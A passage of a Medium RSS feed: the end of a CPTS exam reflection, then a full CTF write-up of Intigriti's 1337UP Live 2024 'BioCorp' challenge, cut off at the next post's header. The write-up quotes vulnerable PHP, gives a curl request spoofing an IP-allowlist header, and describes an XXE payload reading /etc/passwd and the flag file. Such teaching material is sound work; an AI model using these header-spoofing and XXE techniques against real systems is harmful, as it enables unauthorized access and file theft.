href="https://medium.com/media/080d34d5a96e28bafbc562b2c9d6cf1f/href">https://medium.com/media/080d34d5a96e28bafbc562b2c9d6cf1f/href</a></iframe><h3>My CPTS Experience: 10 Days of Pure Mental Warfare</h3><p>Let me be blunt — <strong>CPTS is no joke.</strong> It’s one of the most intense and mentally exhausting things I’ve ever done in my cybersecurity journey. If you think you’re just going to coast through with some tool knowledge and a few HTB boxes under your belt, <em>think again.</em></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F26286930&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fsunshine-again-think-think-again-villain-gif-26286930&amp;image=https%3A%2F%2Fmedia.tenor.com%2Fj49lVjKpJIQAAAAN%2Fsunshine-again.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/c161f5824b0554eb3287b9aa6110757f/href">https://medium.com/media/c161f5824b0554eb3287b9aa6110757f/href</a></iframe><p>I’ve done my fair share of Hack The Box machines, Fortresses, and labs. I’ve spent <strong>countless hours grinding, failing, and learning</strong> through real exploit paths and chained attack scenarios. That grind helped — a lot. But <strong>even with that experience</strong>, CPTS pushed me in ways I wasn’t fully ready for.</p><p>You need <strong>serious practice</strong> before even thinking about this exam. We’re talking about:</p><ul><li>Deep exploitation experience on both Windows and Linux</li><li>Understanding how enterprise networks work</li><li>Knowing when to go manual, when to pivot, and when to stop and rethink your entire approach</li></ul><p>The exam gives you 10 full days, and I <em>used every minute</em>. Not because I was slow — but because <strong>the environment is massive, layered, and designed to test your endurance and adaptability</strong>. You’re constantly switching hats: attacker, analyst, investigator, report writer.</p><p>Here’s the wild part: <strong>every single technique you need is covered in the Penetration Tester Job Role Path</strong> on HTB Academy. Every privesc method, enumeration trick, and movement technique — it’s all there. The only thing they <em>can’t</em> teach you is the <strong>mindset</strong>.</p><p>CPTS demands a shift in how you think. It’s not about solving a challenge. It’s about building a chain of logic from start to finish. It’s about <strong>thinking like a red teamer</strong>:</p><ul><li>How would an attacker abuse this misconfiguration?</li><li>What happens if I tunnel through here?</li></ul><p>That’s what makes CPTS special — and brutal.</p><p>And then comes the report…</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F24332192&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fpenguins-of-madagascar-skipper-kowalski-status-report-status-report-madagascar-gif-24332192&amp;image=https%3A%2F%2Fmedia.tenor.com%2FwcamYVlI6IAAAAAN%2Fpenguins-of-madagascar-skipper.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/206b2c0e1db7f2ebd471068ee8dcedd5/href">https://medium.com/media/206b2c0e1db7f2ebd471068ee8dcedd5/href</a></iframe><p><strong>The report is hands-down the hardest part.</strong> The flags are one thing — but writing a clean, structured, professional report that reads like it’s going to a client? That takes focus and skill. I spent a couple of days on documentation alone. Screenshots, timelines, commands, impact summaries — everything had to be crisp.</p><p>In the end, I passed with <strong>14/14 flags</strong> and submitted an <strong>industry-grade report</strong> I was genuinely proud of. But make no mistake — this cert made me earn every single bit of it.</p><p>If you’re not ready to suffer a little, question your life choices, and push yourself past what you <em>think</em> you’re capable of — <strong>CPTS isn’t for you</strong>.</p><p>But if you’re willing to put in the work, train your mindset, and embrace the chaos — it might just be the most rewarding challenge you’ll ever take in this field.</p><h3>CPTS vs. OSCP: Which One’s Tougher? Here’s My Honest Take.</h3><p>Let’s address the elephant in the room: <strong>Is CPTS harder than OSCP?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6uisqRFR0sxhWj2kqjkbqA.png" /></figure><p>Here’s the truth — <strong>I can’t say for sure</strong>, because I haven’t taken the OSCP. Not because I didn’t want to, but because as a student based in <strong>Sri Lanka</strong>, the OSCP is <strong>incredibly expensive</strong> and simply not financially realistic for everyone here. I’m still an undergraduate, and I’ve had to carefully choose which certifications to pursue based on both value and accessibility.</p><p>But what I <em>can</em> say is this: <strong>I’m one of only four people in Sri Lanka who have ever earned the CPTS certification</strong> (<strong>at the time of writing)</strong>— and that means something to me.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F16627263&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Frobert-downey-jr-well-shrug-what-can-i-say-gif-16627263&amp;image=https%3A%2F%2Fmedia.tenor.com%2FPJtH1ehWN8AAAAAN%2Frobert-downey-jr-well.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/454ff550cfc73a3f942df45417a0a135/href">https://medium.com/media/454ff550cfc73a3f942df45417a0a135/href</a></iframe><p>Based on my experience and what I’ve heard from professionals who have completed <em>both</em> CPTS and OSCP, a surprising number say that <strong>CPTS was the more difficult exam</strong>, especially when it comes to <strong>realism, complexity, and the breadth of tasks involved</strong>. While OSCP is known for its strict 24-hour time limit and report submission pressure, CPTS gives you 10 days — but don’t let that fool you into thinking it’s “easier.”</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F-5s2R0Mldgw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D-5s2R0Mldgw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F-5s2R0Mldgw%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e617070c6b02307a53b5cc1f8746f583/href">https://medium.com/media/e617070c6b02307a53b5cc1f8746f583/href</a></iframe><p>You need <strong>all ten of those days</strong>, and maybe more if you’re not managing time well. The CPTS exam is not just about exploitation — it’s about <strong>pivoting, simulating an attacker’s mindset</strong>, and putting everything together into a <strong>professional-grade report</strong> that could easily be handed to a real-world client. It’s a full red team exercise.</p><p>From what I understand, <strong>OSCP might feel more pressuring due to the ticking clock</strong> — and that pressure can break a lot of people. Time constraints add a whole different kind of stress, and I deeply respect anyone who’s passed it.</p><p>But CPTS is <strong>mentally exhausting</strong> in a different way. The sheer <strong>scale of the environment</strong>, the need for <strong>multi-stage attacks</strong>, and the <strong>deep attention to post-exploitation and lateral movement</strong> make it a long game. You don’t just prove you can pop boxes — you prove you can <strong>compromise an enterprise</strong>.</p><p>So, in my opinion?</p><ul><li><strong>OSCP may be harder in terms of pressure and time management.</strong></li><li><strong>CPTS may be harder in terms of depth, realism, and the mental grind over 10 full days.</strong></li></ul><p>That said, this isn’t a competition. Both are tough. Both will challenge you. And both prove different, valuable skill sets in the world of offensive security.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F17680220&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fhat-tip-hats-off-respect-boy-yankees-gif-17680220&amp;image=https%3A%2F%2Fmedia.tenor.com%2FUr46ONZEGV8AAAAN%2Fhat-tip-hats-off.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/45543726b3c32f44739001ebcf470f80/href">https://medium.com/media/45543726b3c32f44739001ebcf470f80/href</a></iframe><p>One day, when I do take on the OSCP, I’ll be able to speak from both sides. But for now, <strong>I’ll wear my CPTS with pride — not just for what it says about my skills, but for what it represents in my journey as a Sri Lankan cybersecurity student trying to make my mark in this global field.</strong></p><h3><strong>Rooted the Cert, But It Rewired My Mind : My Final Thoughts</strong></h3><p>CPTS isn’t just a certification — it’s a journey that tests your <strong>mindset, endurance, and real-world hacking ability</strong>. It pushed me to my limits, made me rethink how I approach problems, and taught me lessons I couldn’t learn anywhere else.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F17664862&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fdavid-goggins-lifting-they-dont-know-me-workout-gym-gif-17664862&amp;image=https%3A%2F%2Fmedia.tenor.com%2F49lex7RVkXwAAAAN%2Fdavid-goggins-lifting.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/b39e31540f7d6179eb39da44e3a32a98/href">https://medium.com/media/b39e31540f7d6179eb39da44e3a32a98/href</a></iframe><p>It wasn’t just about knowing tools or techniques — it was about learning how to adapt when nothing worked, how to stay calm under pressure, and how to think like a true adversary. It forces you to embrace discomfort, trust your process, and sharpen your thinking with every step.</p><p>I went through highs and lows, self-doubt, breakthroughs, and total mental burnout. But in the end, I came out of it <strong>sharper, stronger, and more confident</strong> in my abilities than ever before.</p><p>If you’re looking for a certification that goes beyond theory — one that challenges not only your skills but also your mindset — <strong>CPTS is worth every late night and every ounce of effort</strong>. It’s not easy. But that’s exactly why it’s worth it.</p><p>The grind is real — but so is the growth.</p><p>And when you finally submit that report, with all your flags and findings laid out, knowing you earned it the hard way — <strong>that’s a feeling no multiple-choice cert can give you</strong>.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F12213407&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fimdb-comic-con-san-diego-kevin-smith-gif-12213407&amp;image=https%3A%2F%2Fmedia.tenor.com%2FJLubPqQxvwoAAAAN%2Fimdb-comic-con.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/108017da195ebfafe6aa4cbcd4011d1f/href">https://medium.com/media/108017da195ebfafe6aa4cbcd4011d1f/href</a></iframe><p>And that’s been <strong>your boy, therealslimshady</strong>, signing off — rooted the cert, rewired the mindset, and came out the other side stronger. Until the next hack… stay sharp, stay ethical, and always send that final payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ApKfLAtAxVXlH2HWfpGNsw.jpeg" /></figure><p><a href="https://www.credly.com/badges/078a19c1-9338-4c54-9b7c-e6033e07547f/public_url">Hack The Box Certified Penetration Testing Specialist (HTB CPTS) was issued by Hack The Box to Kulindu Kodithuwakku.</a></p><p>Kulindu Kodithuwakku <br>eJPT | CPTS</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45ca59462878" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BioCorp 1337UP Live 2024 Writeup]]></title>
            <link>https://medium.com/@kulindukody/biocorp-1337up-live-2024-writeup-11f3a3ea3e62?source=rss-f74c65e600d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/11f3a3ea3e62</guid>
            <category><![CDATA[1337up]]></category>
            <category><![CDATA[2024]]></category>
            <category><![CDATA[xxe]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[intigriti]]></category>
            <dc:creator><![CDATA[Kulindu Kodithuwakku]]></dc:creator>
            <pubDate>Sun, 17 Nov 2024 03:08:33 GMT</pubDate>
            <atom:updated>2024-11-17T18:42:43.495Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey everyone, <strong>therealslimshadyhere</strong>! Today, we’re diving into the <strong>BioCorp CTF challenge</strong> from Intigriti’s <strong>1337UP Live CTF</strong>. This was an exciting challenge packed with twists and lessons, and I can’t wait to break it all down for you. So, grab your favorite tools, and let’s jump right in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*-6PkgRxYoYTkQsthQnUg8A.png" /></figure><p>The moment I read the challenge description, I had a strong suspicion this would involve bypassing authentication. The phrase <em>“decoupled any dangerous functionality from the public-facing website”</em> immediately stood out to me. It hinted at the possibility of an internal system or hidden functionality that might still be accessible indirectly. If there’s a public-facing website, it’s logical to assume that something more critical could be lurking on the internal side.</p><p>I didn’t realize this was a white-box pentest until after I started the initial reconnaissance on the website — silly me! 🙂 I probably should’ve downloaded the zip file first. But hey, let’s stick to my way for now — it’s just some directory brute-forcing, after all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W8aHj520Zumf9G8SuQBv3A.png" /></figure><p>Initially, I ran a small brute force attack on the website to look for any hidden pages. In hindsight, I realize I could’ve skipped all of this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*5zXZo7DaH0ncAHAq6UE_tg.png" /></figure><p>Initially, when I ran the directory brute force, I was greeted with some interesting results. Among them, /server-status/ immediately caught my attention—it seemed like a potential entry point into the system. After all, it&#39;s something that should never be publicly accessible. However, I was wrong. It turned out to be a dead end.</p><p>So, I decided to dig deeper and ran a second directory brute force, this time using <a href="https://github.com/maurosoria/dirsearch"><strong>Dirsearch</strong></a>, to uncover anything I might have missed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*wybIS-CsTGKimn57mKBl8Q.png" /></figure><blockquote>Refer these articles to understand the usage of gobuster and dirsearch: <a href="https://irfaanshakeel.medium.com/dirsearch-to-find-hidden-web-directories-d0357fbe47b0">https://irfaanshakeel.medium.com/dirsearch-to-find-hidden-web-directories-d0357fbe47b0</a> , <a href="https://noobsixt9.medium.com/web-enumeration-using-gobuster-8437e7f4618d">https://noobsixt9.medium.com/web-enumeration-using-gobuster-8437e7f4618d</a></blockquote><p>This is when I stumbled upon panel.php. Naturally, I had to check it out to see what it contained—it seemed like a promising lead that could potentially expose some interesting functionality or vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qkflz9HoT7mLJ7vVK9zsoA.png" /></figure><p>And I wasn’t wrong — this is where things got interesting. I quickly realized that the source code for the website was accessible in the challenge page. At this point, I decided to download the zip file and dig into it. My goal was to examine the functionality of the panel.php page and uncover what it was all about.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*9AKnNWjePPBFbLeTgncCSQ.png" /></figure><p>I went through all the pages, but none of them seemed particularly interesting. That’s when I shifted my focus to panel.php, and there it was—the breakthrough. The source code revealed some parameters that needed to be set to true to access the webpage. This was the key to moving forward!</p><blockquote>Refer this article to understand what type of attack this is: <a href="https://sapt.medium.com/bypassing-403-protection-to-get-pagespeed-admin-access-822fab64c0b3">https://sapt.medium.com/bypassing-403-protection-to-get-pagespeed-admin-access-822fab64c0b3</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*4BsOT5JyEO-nUOrvtN2RdQ.png" /></figure><p>so let me explain the mechanism to access the panel.php page. this relies on two main conditions. Here’s a detailed breakdown:</p><ol><li>IP Address Validation</li></ol><p>The script checks if the request comes from a specific IP address:</p><pre>$ip_address = $_SERVER[&#39;HTTP_X_BIOCORP_VPN&#39;] ?? $_SERVER[&#39;REMOTE_ADDR&#39;];<br><br>if ($ip_address !== &#39;80.187.61.102&#39;) {<br>    echo &quot;&lt;h1&gt;Access Denied&lt;/h1&gt;&quot;;<br>    echo &quot;&lt;p&gt;You do not have permission to access this page.&lt;/p&gt;&quot;;<br>    exit;<br>}</pre><p><strong>How it works</strong>:</p><ul><li>The script first checks if the HTTP_X_BIOCORP_VPN header is set. If it is, the value of that header is used as the IP address.</li><li>If the header is not set, the script falls back to the client’s IP address (REMOTE_ADDR).</li><li>If the resolved IP address is not 80.187.61.102, access is denied.</li></ul><p><strong>Bypass Idea</strong>:</p><ul><li>Add the header X-BIOCORP-VPN: 80.187.61.102 to your request to bypass the check.</li><li>This can be done using tools like Burp Suite, cURL, or even browser extensions.</li></ul><p>2.XML Data Validation</p><p>Once the IP validation passes, the script proceeds to handle XML data:</p><p>Case A: If the request is POST and Content-Type is application/xml</p><pre>if ($_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;POST&#39; &amp;&amp; strpos($_SERVER[&#39;CONTENT_TYPE&#39;], &#39;application/xml&#39;) !== false) {<br>    $xml_data = file_get_contents(&#39;php://input&#39;);<br>    $doc = new DOMDocument();<br>    if (!$doc-&gt;loadXML($xml_data, LIBXML_NOENT)) {<br>        echo &quot;&lt;h1&gt;Invalid XML&lt;/h1&gt;&quot;;<br>        exit;<br>    }<br>}</pre><ul><li>The script expects XML data in the body of a POST request with a Content-Type of application/xml.</li><li>The XML data is validated using DOMDocument::loadXML() with the LIBXML_NOENT option (which processes entity references).</li><li>If the XML is invalid, an error message (&lt;h1&gt;Invalid XML&lt;/h1&gt;) is displayed, and the script exits.</li></ul><p>Case B: Otherwise</p><pre>$xml_data = file_get_contents(&#39;data/reactor_data.xml&#39;);<br>$doc = new DOMDocument();<br>$doc-&gt;loadXML($xml_data, LIBXML_NOENT);</pre><p>If the request is not a POST with XML content, the script loads data from a local XML file (data/reactor_data.xml).</p><p>3.Extracting Reactor Data</p><p>The script extracts three specific values from the loaded XML:</p><pre>$temperature = $doc-&gt;getElementsByTagName(&#39;temperature&#39;)-&gt;item(0)-&gt;nodeValue ?? &#39;Unknown&#39;;<br>$pressure = $doc-&gt;getElementsByTagName(&#39;pressure&#39;)-&gt;item(0)-&gt;nodeValue ?? &#39;Unknown&#39;;<br>$control_rods = $doc-&gt;getElementsByTagName(&#39;control_rods&#39;)-&gt;item(0)-&gt;nodeValue ?? &#39;Unknown&#39;;</pre><ul><li><strong>Temperature</strong>, <strong>Pressure</strong>, and <strong>Control Rods</strong> values are retrieved from the XML document using DOMDocument::getElementsByTagName().</li><li>If any of these elements are missing in the XML, the script assigns &#39;Unknown&#39; as a fallback value.</li></ul><h4>Accessing the Page</h4><p><strong>Pass the IP Validation</strong>:</p><p>Ensure the request includes X-BIOCORP-VPN: 80.187.61.102 or originates from the IP 80.187.61.102.</p><p><strong>Optional: Submit a POST Request with XML</strong>:</p><p>If you want to manipulate the displayed reactor values, send a POST request with a valid application/xml body containing the desired &lt;temperature&gt;, &lt;pressure&gt;, and &lt;control_rods&gt; values.</p><p><strong>View the Reactor Control Panel</strong>:</p><p>Once the IP validation passes and the XML data is processed, you’ll see the extracted values displayed on the webpage.</p><p>So i initially to match all of this parameters made a smal curl request and tried if it actually works, if it did i could move to burpsuite and start to manipulate the requests. so this is the curl request i came up with.</p><pre>curl -X POST \                                                                                                                                                                                                                                                                                                         <br>     -H &quot;X-BIOCORP-VPN: 80.187.61.102&quot; \<br>     -H &quot;Content-Type: application/xml&quot; \<br>     --data &#39;&lt;?xml version=&quot;1.0&quot;?&gt;&lt;data&gt;&lt;temperature&gt;300&lt;/temperature&gt;&lt;pressure&gt;101.3&lt;/pressure&gt;&lt;control_rods&gt;4&lt;/control_rods&gt;&lt;/data&gt;&#39; \<br>     https://biocorp.ctf.intigriti.io/panel.php</pre><p>This cURL command must work because it satisfies both conditions in the panel.php script:</p><blockquote>When looking at the source code, you might see it checks for a header called &quot;HTTP_X_BIOCORP_VPN&quot;, but in the request (e.g., with cURL), we use &quot;X-BIOCORP-VPN&quot;. This difference happens because web servers translate headers for server-side code like PHP. They add an HTTP_ prefix, replace hyphens (-) with underscores (_), and convert everything to uppercase. So, the raw header &quot;X-BIOCORP-VPN&quot; in your request becomes &quot;HTTP_X_BIOCORP_VPN&quot; in the source code. Always use the raw header name in your requests, while the server processes it into the format expected in the code.</blockquote><ol><li>The X-BIOCORP-VPN header is set to the allowed IP (80.187.61.102), bypassing the IP check.</li><li>A POST request with Content-Type: application/xml and valid XML data is sent, allowing the server to process and display the reactor values.</li></ol><p>This is the response i got from using the curl request</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot;&gt;<br>    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>    &lt;title&gt;BioCorp&lt;/title&gt;<br>    &lt;link href=&quot;https://fonts.googleapis.com/css2?family=Roboto:wght@400;500&amp;family=Montserrat:wght@700&amp;display=swap&quot; rel=&quot;stylesheet&quot;&gt;<br>    &lt;link href=&quot;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&gt;<br>    &lt;link href=&quot;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css&quot; rel=&quot;stylesheet&quot;&gt;<br>    &lt;link href=&quot;assets/css/style.css&quot; rel=&quot;stylesheet&quot;&gt;<br>    &lt;link rel=&quot;icon&quot; href=&quot;assets/images/logo.png&quot; type=&quot;image/png&quot;&gt;<br>    &lt;script src=&quot;assets/js/main.js&quot;&gt;&lt;/script&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;nav class=&quot;navbar&quot;&gt;<br>        &lt;ul class=&quot;navbar-links&quot;&gt;<br>            &lt;li&gt;&lt;a href=&quot;index.php&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;<br>            &lt;li&gt;&lt;a href=&quot;about.php&quot;&gt;About Us&lt;/a&gt;&lt;/li&gt;<br>            &lt;li&gt;&lt;a href=&quot;contact.php&quot;&gt;Contact&lt;/a&gt;&lt;/li&gt;<br>            &lt;li&gt;&lt;a href=&quot;services.php&quot;&gt;Services&lt;/a&gt;&lt;/li&gt;<br>            &lt;li&gt;&lt;a href=&quot;panel.php&quot;&gt;Control Panel&lt;/a&gt;&lt;/li&gt;        &lt;/ul&gt;<br>        &lt;div class=&quot;navbar-logo&quot;&gt;<br>                &lt;img src=&quot;assets/images/logo.png&quot; alt=&quot;BioCorp Logo&quot;&gt;<br>        &lt;/div&gt;<br>    &lt;/nav&gt;<br><br>&lt;div class=&quot;container center-content&quot;&gt;<br>    &lt;h1&gt;Welcome to the Control Panel&lt;/h1&gt;<br>    &lt;p&gt;Here you can view reactor values:&lt;/p&gt;<br><br>    &lt;ul class=&quot;reactor-values&quot;&gt;<br>        &lt;li&gt;&lt;i class=&quot;fas fa-thermometer-half&quot;&gt;&lt;/i&gt; Temperature: 300 °C&lt;/li&gt;<br>        &lt;li&gt;&lt;i class=&quot;fas fa-tachometer-alt&quot;&gt;&lt;/i&gt; Pressure: 101.3 kPa&lt;/li&gt;<br>        &lt;li&gt;&lt;i class=&quot;fas fa-cogs&quot;&gt;&lt;/i&gt; Control Rods: 4&lt;/li&gt;<br>    &lt;/ul&gt;<br><br>    &lt;button id=&quot;refresh-btn&quot;&gt;Refresh Reactor Values&lt;/button&gt;<br>&lt;/div&gt;<br><br>&lt;script&gt;<br>    document.getElementById(&#39;refresh-btn&#39;).addEventListener(&#39;click&#39;, function () {<br>        location.reload();<br>    });<br>&lt;/script&gt;<br><br>&lt;footer class=&quot;footer&quot;&gt;<br>    &lt;p&gt;&amp;copy; 2024 BioCorp. All rights reserved.&lt;/p&gt;<br>    &lt;a href=&quot;https://www.youtube.com/@_CryptoCat&quot; class=&quot;fab fa-twitter&quot;&gt;&lt;/a&gt;<br>    &lt;a href=&quot;https://twitter.com/_CryptoCat&quot; class=&quot;fab fa-youtube&quot;&gt;&lt;/a&gt;<br>&lt;/footer&gt;<br>&lt;script src=&quot;https://code.jquery.com/jquery-3.5.1.slim.min.js&quot;&gt;&lt;/script&gt;<br>&lt;script src=&quot;https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.2/dist/umd/popper.min.js&quot;&gt;&lt;/script&gt;<br>&lt;script src=&quot;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js&quot;&gt;&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>After receiving the response, I launched Burp Suite and attempted to access the page using the provided parameters. With Burp Suite running, I navigated to the <strong>Proxy</strong> tab and opened the <strong>Proxy Browser</strong>. I enabled the <strong>Intercept</strong> feature and then accessed the website. This allowed me to capture the request for further analysis.</p><blockquote>Refer this article to understand how to use BUPR: <a href="https://medium.com/@omccarth333/burpsuite-101-87881162ffaf">https://medium.com/@omccarth333/burpsuite-101-87881162ffaf</a></blockquote><p>This is the request i intercepted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*D3tulLd93eB2EGNm_O5OcA.png" /></figure><p>To proceed, I needed to change the request method from GET to POST. I right-clicked the request in Burp Suite and selected <strong>“Change Request Method”</strong>. After that, I updated the <strong>Content-Type</strong> header from application/x-www-form-urlencoded to application/xml. Next, I added the header X-BIOCORP-VPN: 80.187.61.102, and finally, I included the necessary XML data in the request. this is what the final request looked like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*hhVLfvpHAH1kWj0yIaVCqQ.png" /></figure><p>once i forwarded this i got</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hz-Nmf_vN4ddCgJwDHawFQ.png" /></figure><p>After gaining access to the panel within the network, I noticed that there was no flag visible. At this point, I paused to reconsider the situation and realized there might be an opportunity for an <strong>XML External Entity (XXE)</strong> attack, since XML data was being sent to the web server.</p><blockquote>To understand what a XXE attack is refer the article below: <a href="https://portswigger.net/web-security/xxe">https://portswigger.net/web-security/xxe</a></blockquote><p>so i refreshed the page again and got the request, edited it like last time, but this time i sent it to the<strong> Repeater</strong> so i could easily manipulate the data. i right clicked the request, clicked on “Send to Repeater” and then started manipulating the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hjDM9SUnOK-Wxrl-ZKmCyQ.png" /></figure><p>Here’s how I could turn the XML data into an XXE attack:</p><ol><li><strong>Understanding the Vulnerability</strong>:<br>I know that XML parsers, if not properly secured, can allow external files or resources to be included in the XML document. So, if the application doesn’t sanitize the input, I could use this to load files from the server or even external resources.</li><li><strong>Injecting a Malicious Entity</strong>:<br>To perform the attack, I would modify the XML by adding an <strong>external entity</strong>. This external entity could point to sensitive files on the server, like the /etc/passwd file on Unix-based systems, which contains sensitive information about users on the system.</li></ol><p>Here’s an example of how I could modify the XML:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*K3JIcqgKXx20tdvpGqzM0w.png" /></figure><p><strong>Breaking it Down</strong>:</p><p>&lt;!DOCTYPE data [ ... ]&gt;: This defines the Document Type Definition (DTD) for the XML. The DTD tells the XML parser what elements are allowed, and here, I can use it to introduce my external entity.</p><p>The “ENTITY xxe SYSTEM” line creates an external entity called xxe that points to a file on the server, like /etc/passwd. This would let me read sensitive files on the system if the server is vulnerable.</p><p><strong>What Happens When the Server Processes This?</strong><br>If the server is vulnerable to XXE, it will try to load the /etc/passwd file (or any file I specify). If successful, the server will include the contents of that file in the XML response, which would then leak sensitive information from the server.</p><p>So This is what i did with my payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AlJhZeizXpVCfxDY6KndNg.png" /></figure><p>This request didn’t give me any errors but i didnt give me the output i was expecting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cMZ0qMWhZ65I0te6Ly11tg.png" /></figure><p>So, I tried again, but this time I realized what I had done wrong earlier. The first time, I created a new XML tag for the flag, but I realized that the application only renders certain tags on the webpage. So, instead of creating a new tag, I decided to inject the flag into one of the existing tags that are already rendered on the page.</p><p>This way, the flag would be included in the response and displayed on the webpage, since those existing tags are processed by the server and rendered to the user. This allowed me to successfully retrieve the flag without needing to create a new tag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JgUXfNMlWDDD01gnSyZKjA.png" /></figure><p>So, after I adjusted my approach and injected the flag into one of the existing XML tags, I sent the request again. This time i received the contents of the /etc/passwd file in the response as well. This is exactly what I was hoping for with the <strong>XXE attack</strong>—the server, being vulnerable to external entity processing, included the contents of that sensitive file in the response, which gave me valuable information about the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5q6xr5bIRMKYKOK5yYL7EA.png" /></figure><p>Since i sucessfully got the passwd file back i ran the same thing with /flag.txt instead of /etc/passwd and there you have it, just like that i has the flag for the challenege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_BZSA90_peNIkqKY7Why5Q.png" /></figure><blockquote>INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn}</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=11f3a3ea3e62" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pizza Paradise 1337UP Live 2024 Writeup]]></title>
            <link>https://medium.com/@kulindukody/pizza-paradise-1337up-live-2024-writeup-b3ae4bf36f65?source=rss-f74c65e600d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3ae4bf36f65</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[intigriti]]></category>
            <category><![CDATA[2024]]></category>
            <category><![CDATA[lfi]]></category>
            <category><![CDATA[1337up]]></category>
            <dc:creator><![CDATA[Kulindu Kodithuwakku]]></dc:creator>
            <pubDate>Sun, 17 Nov 2024 00:13:27 GMT</pubDate>
            <atom:updated>2024-11-17T00:13:27.843Z</atom:updated>
